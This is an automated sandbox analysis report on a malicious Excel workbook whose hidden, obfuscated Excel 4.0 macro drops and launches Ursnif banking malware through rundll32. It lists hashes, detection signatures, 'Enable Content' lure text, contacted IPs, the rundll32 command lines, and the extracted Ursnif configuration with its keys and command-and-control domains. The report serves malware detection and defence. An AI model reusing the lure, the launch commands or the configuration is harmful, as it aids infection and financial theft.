Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Analysis Report document-1245492889.xls

Overview

General Information

Sample Name:document-1245492889.xls
Analysis ID:383157
MD5:e30c71417d7675c13ca725d3bb4172eb
SHA1:80350061fb497c3fc79ac2cd4f8a315aceae412e
SHA256:05d2f75e43502476f32925c3f8ca82245c4f5433c4d405779e6fd178cd37ea13
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0 Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Document exploit detected (drops PE files)
Found malware configuration
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Yara detected Ursnif
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Drops PE files to the user root directory
Found Excel 4.0 Macro with suspicious formulas
Found abnormal large hidden Excel 4.0 Macro sheet
Found obfuscated Excel 4.0 Macro
Machine Learning detection for dropped file
Office process drops PE file
Yara detected hidden Macro 4.0 in Excel
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains embedded VBA macros
Drops PE files
Drops PE files to the user directory
Drops files with a non-matching file extension (content does not match file extension)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Uses code obfuscation techniques (call, push, ret)
Yara detected Xls With Macro 4.0
Yara signature match

Classification

Startup

  • System is w7x64
  • EXCEL.EXE (PID: 2400 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)
    • rundll32.exe (PID: 2316 cmdline: rundll32 ..\fikftkm.thj,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
    • rundll32.exe (PID: 2324 cmdline: rundll32 ..\fikftkm.thj1,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
    • rundll32.exe (PID: 2880 cmdline: rundll32 ..\fikftkm.thj2,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
      • rundll32.exe (PID: 2920 cmdline: rundll32 ..\fikftkm.thj2,DllRegisterServer MD5: 51138BEEA3E2C21EC44D0932C71762A8)
    • rundll32.exe (PID: 1788 cmdline: rundll32 ..\fikftkm.thj3,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
    • rundll32.exe (PID: 2988 cmdline: rundll32 ..\fikftkm.thj4,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
  • cleanup

Malware Configuration

Threatname: Ursnif

[[{"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
document-1245492889.xlsSUSP_EnableContent_String_GenDetects suspicious string that asks to enable active content in Office DocFlorian Roth
  • 0x1ed97:$e1: Enable Editing
  • 0x1edb6:$e2: Enable Content
document-1245492889.xlsSUSP_Excel4Macro_AutoOpenDetects Excel4 macro use with auto open / closeJohn Lambert @JohnLaTwC
  • 0x0:$header_docf: D0 CF 11 E0
  • 0x2aaa2:$s1: Excel
  • 0x2bb0b:$s1: Excel
  • 0x3b3c:$Auto_Open1: 18 00 17 00 AA 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
document-1245492889.xlsJoeSecurity_XlsWithMacro4Yara detected Xls With Macro 4.0Joe Security
    document-1245492889.xlsJoeSecurity_HiddenMacroYara detected hidden Macro 4.0 in ExcelJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      00000006.00000002.2275673660.0000000000270000.00000004.00000001.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        6.2.rundll32.exe.270000.1.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security

          Sigma Overview

          No Sigma rule has matched

          Signature Overview

          Click to jump to signature section

          Show All Signature Results

          AV Detection:

          barindex
          Found malware configurationShow sources
          Source: 6.2.rundll32.exe.270000.1.raw.unpackMalware Configuration Extractor: Ursnif [[{"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]
          Multi AV Scanner detection for submitted fileShow sources
          Source: document-1245492889.xlsVirustotal: Detection: 54%Perma Link
          Source: document-1245492889.xlsMetadefender: Detection: 32%Perma Link
          Source: document-1245492889.xlsReversingLabs: Detection: 18%
          Machine Learning detection for dropped fileShow sources
          Source: C:\Users\user\fikftkm.thj2Joe Sandbox ML: detected
          Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\0104[1].gifJoe Sandbox ML: detected
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
          Source: unknownHTTPS traffic detected: 207.174.213.126:443 -> 192.168.2.22:49165 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 162.241.62.4:443 -> 192.168.2.22:49168 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 192.185.129.4:443 -> 192.168.2.22:49170 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 5.100.155.169:443 -> 192.168.2.22:49171 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 198.50.218.68:443 -> 192.168.2.22:49173 version: TLS 1.2

          Software Vulnerabilities:

          barindex
          Document exploit detected (drops PE files)Show sources
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: 0104[1].gif.0.drJump to dropped file
          Document exploit detected (UrlDownloadToFile)Show sources
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXESection loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileAJump to behavior
          Document exploit detected (process start blacklist hit)Show sources
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe
          Source: global trafficDNS query: name: vts.us.com
          Source: global trafficTCP traffic: 192.168.2.22:49165 -> 207.174.213.126:443
          Source: global trafficTCP traffic: 192.168.2.22:49165 -> 207.174.213.126:443
          Source: Joe Sandbox ViewIP Address: 207.174.213.126 207.174.213.126
          Source: Joe Sandbox ViewIP Address: 198.50.218.68 198.50.218.68
          Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZJump to behavior
          Source: rundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpString found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
          Source: unknownDNS traffic detected: queries for: vts.us.com
          Source: rundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpString found in binary or memory: http://investor.msn.com
          Source: rundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpString found in binary or memory: http://investor.msn.com/
          Source: rundll32.exe, 00000003.00000002.2115568867.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109524493.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278827735.0000000001C77000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2277292535.0000000001DB7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177880792.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2171790992.0000000001CC7000.00000002.00000001.sdmpString found in binary or memory: http://localizability/practices/XML.asp
          Source: rundll32.exe, 00000003.00000002.2115568867.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109524493.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278827735.0000000001C77000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2277292535.0000000001DB7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177880792.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2171790992.0000000001CC7000.00000002.00000001.sdmpString found in binary or memory: http://localizability/practices/XMLConfiguration.asp
          Source: rundll32.exe, 00000003.00000002.2115568867.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109524493.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278827735.0000000001C77000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2277292535.0000000001DB7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177880792.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2171790992.0000000001CC7000.00000002.00000001.sdmpString found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
          Source: rundll32.exe, 00000003.00000002.2115568867.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109524493.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278827735.0000000001C77000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2277292535.0000000001DB7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177880792.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2171790992.0000000001CC7000.00000002.00000001.sdmpString found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
          Source: rundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpString found in binary or memory: http://www.hotmail.com/oe
          Source: rundll32.exe, 00000003.00000002.2115568867.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109524493.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278827735.0000000001C77000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2277292535.0000000001DB7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177880792.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2171790992.0000000001CC7000.00000002.00000001.sdmpString found in binary or memory: http://www.icra.org/vocabulary/.
          Source: rundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpString found in binary or memory: http://www.msnbc.com/news/ticker.txt
          Source: rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpString found in binary or memory: http://www.windows.com/pctv.
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49168
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49167
          Source: unknownNetwork traffic detected: HTTP traffic on port 49165 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49165
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49173
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49172
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49171
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49170
          Source: unknownNetwork traffic detected: HTTP traffic on port 49172 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49168 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49170 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49167 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49171 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49173 -> 443
          Source: unknownHTTPS traffic detected: 207.174.213.126:443 -> 192.168.2.22:49165 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 162.241.62.4:443 -> 192.168.2.22:49168 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 192.185.129.4:443 -> 192.168.2.22:49170 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 5.100.155.169:443 -> 192.168.2.22:49171 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 198.50.218.68:443 -> 192.168.2.22:49173 version: TLS 1.2

          Key, Mouse, Clipboard, Microphone and Screen Capturing:

          barindex
          Yara detected UrsnifShow sources
          Source: Yara matchFile source: 00000006.00000002.2275673660.0000000000270000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 6.2.rundll32.exe.270000.1.raw.unpack, type: UNPACKEDPE

          E-Banking Fraud:

          barindex
          Yara detected UrsnifShow sources
          Source: Yara matchFile source: 00000006.00000002.2275673660.0000000000270000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 6.2.rundll32.exe.270000.1.raw.unpack, type: UNPACKEDPE

          System Summary:

          barindex
          Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
          Source: Screenshot number: 4Screenshot OCR: Enable Editing 11 from the yellow bar above 12 13 Once You have Enable Editing, please elk 14 Ru
          Source: Screenshot number: 8Screenshot OCR: Enable Editing 11 from the yellow bar above 12 13 Once You have Enable Editing, please ell 14 R
          Source: Screenshot number: 12Screenshot OCR: Enable Editing, please click Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18
          Source: Screenshot number: 12Screenshot OCR: Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18 I WHY I CANNOTOPEN THIS DOCU
          Source: Document image extraction number: 9Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing , please click Enable Conten
          Source: Document image extraction number: 9Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
          Source: Screenshot number: 16Screenshot OCR: Enable Editing 11 1 from the yellow bar above 12 13 ' @ Once You have Enable Editing, please clic
          Source: Screenshot number: 16Screenshot OCR: Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18 I WHY I CANNOTOPEN THIS DOCU
          Source: Screenshot number: 20Screenshot OCR: Enable Editing 11 1 from the yellow bar above 12 13 ' @ Once You have Enable Editing, please clic
          Source: Screenshot number: 20Screenshot OCR: Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18 I WHY I CANNOTOPEN THIS DOCU
          Found Excel 4.0 Macro with suspicious formulasShow sources
          Source: document-1245492889.xlsInitial sample: CALL
          Source: document-1245492889.xlsInitial sample: EXEC
          Found abnormal large hidden Excel 4.0 Macro sheetShow sources
          Source: document-1245492889.xlsInitial sample: Sheet size: 4081
          Source: document-1245492889.xlsInitial sample: Sheet size: 12790
          Found obfuscated Excel 4.0 MacroShow sources
          Source: document-1245492889.xlsInitial sample: High usage of CHAR() function: 40
          Office process drops PE fileShow sources
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\fikftkm.thj2Jump to dropped file
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\0104[1].gifJump to dropped file
          Source: C:\Windows\SysWOW64\rundll32.exeMemory allocated: 76E20000 page execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeMemory allocated: 76D20000 page execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F166_2_00125F16
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00123A146_2_00123A14
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00121B1E6_2_00121B1E
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_0012150C6_2_0012150C
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125A256_2_00125A25
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001253786_2_00125378
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001252626_2_00125262
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001225666_2_00122566
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001219676_2_00121967
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00122A696_2_00122A69
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001292B26_2_001292B2
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001231B36_2_001231B3
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001288BA6_2_001288BA
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00123FAB6_2_00123FAB
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00122FAF6_2_00122FAF
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00121CD06_2_00121CD0
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001227D46_2_001227D4
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001243D86_2_001243D8
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_001213C56_2_001213C5
          Source: document-1245492889.xlsOLE indicator, VBA macros: true
          Source: document-1245492889.xls, type: SAMPLEMatched rule: SUSP_EnableContent_String_Gen date = 2019-02-12, hash1 = 525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de, author = Florian Roth, description = Detects suspicious string that asks to enable active content in Office Doc, reference = Internal Research
          Source: document-1245492889.xls, type: SAMPLEMatched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
          Source: rundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpBinary or memory string: .VBPud<_
          Source: classification engineClassification label: mal100.troj.expl.evad.winXLS@13/17@5/5
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\EDCE0000Jump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRC58F.tmpJump to behavior
          Source: document-1245492889.xlsOLE indicator, Workbook stream: true
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj,DllRegisterServer
          Source: document-1245492889.xlsVirustotal: Detection: 54%
          Source: document-1245492889.xlsMetadefender: Detection: 32%
          Source: document-1245492889.xlsReversingLabs: Detection: 18%
          Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj,DllRegisterServer
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj1,DllRegisterServer
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj2,DllRegisterServer
          Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\fikftkm.thj2,DllRegisterServer
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj3,DllRegisterServer
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj4,DllRegisterServer
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj,DllRegisterServerJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj1,DllRegisterServerJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj2,DllRegisterServerJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj3,DllRegisterServerJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\fikftkm.thj4,DllRegisterServerJump to behavior
          Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\fikftkm.thj2,DllRegisterServerJump to behavior
          Source: C:\Windows\System32\rundll32.exeAutomated click: OK
          Source: C:\Windows\System32\rundll32.exeAutomated click: OK
          Source: C:\Windows\System32\rundll32.exeAutomated click: OK
          Source: C:\Windows\System32\rundll32.exeAutomated click: OK
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], edx6_2_00125F7B
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax6_2_00125F94
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax6_2_00125FDD
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax6_2_0012604B
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax6_2_00126124
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push 00000000h; mov dword ptr [esp], edi6_2_0012614F
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push 00000000h; mov dword ptr [esp], edx6_2_0012625E
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax6_2_001262B5
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax6_2_00126343
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax6_2_0012635D
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push 00000000h; mov dword ptr [esp], ebp6_2_00126368
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax6_2_00126385
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push 00000000h; mov dword ptr [esp], edx6_2_001263B4
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax6_2_00126483
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax6_2_001264F2
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax6_2_001264FE
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax6_2_0012650A
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push 00000000h; mov dword ptr [esp], edi6_2_00126567
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push 00000000h; mov dword ptr [esp], edi6_2_001265A9
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push 00000000h; mov dword ptr [esp], eax6_2_00126610
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax6_2_00126685
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-08h]; mov dword ptr [esp], ecx6_2_001266C2
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax6_2_001266E8
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push 00000000h; mov dword ptr [esp], edi6_2_00126781
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push 00000000h; mov dword ptr [esp], edx6_2_001267B6
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax6_2_0012684C
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax6_2_00126858
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-10h]; mov dword ptr [esp], edx6_2_00126926
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax6_2_00126945
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax6_2_00126951
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00125F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], edx6_2_001269D6
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\fikftkm.thj2Jump to dropped file
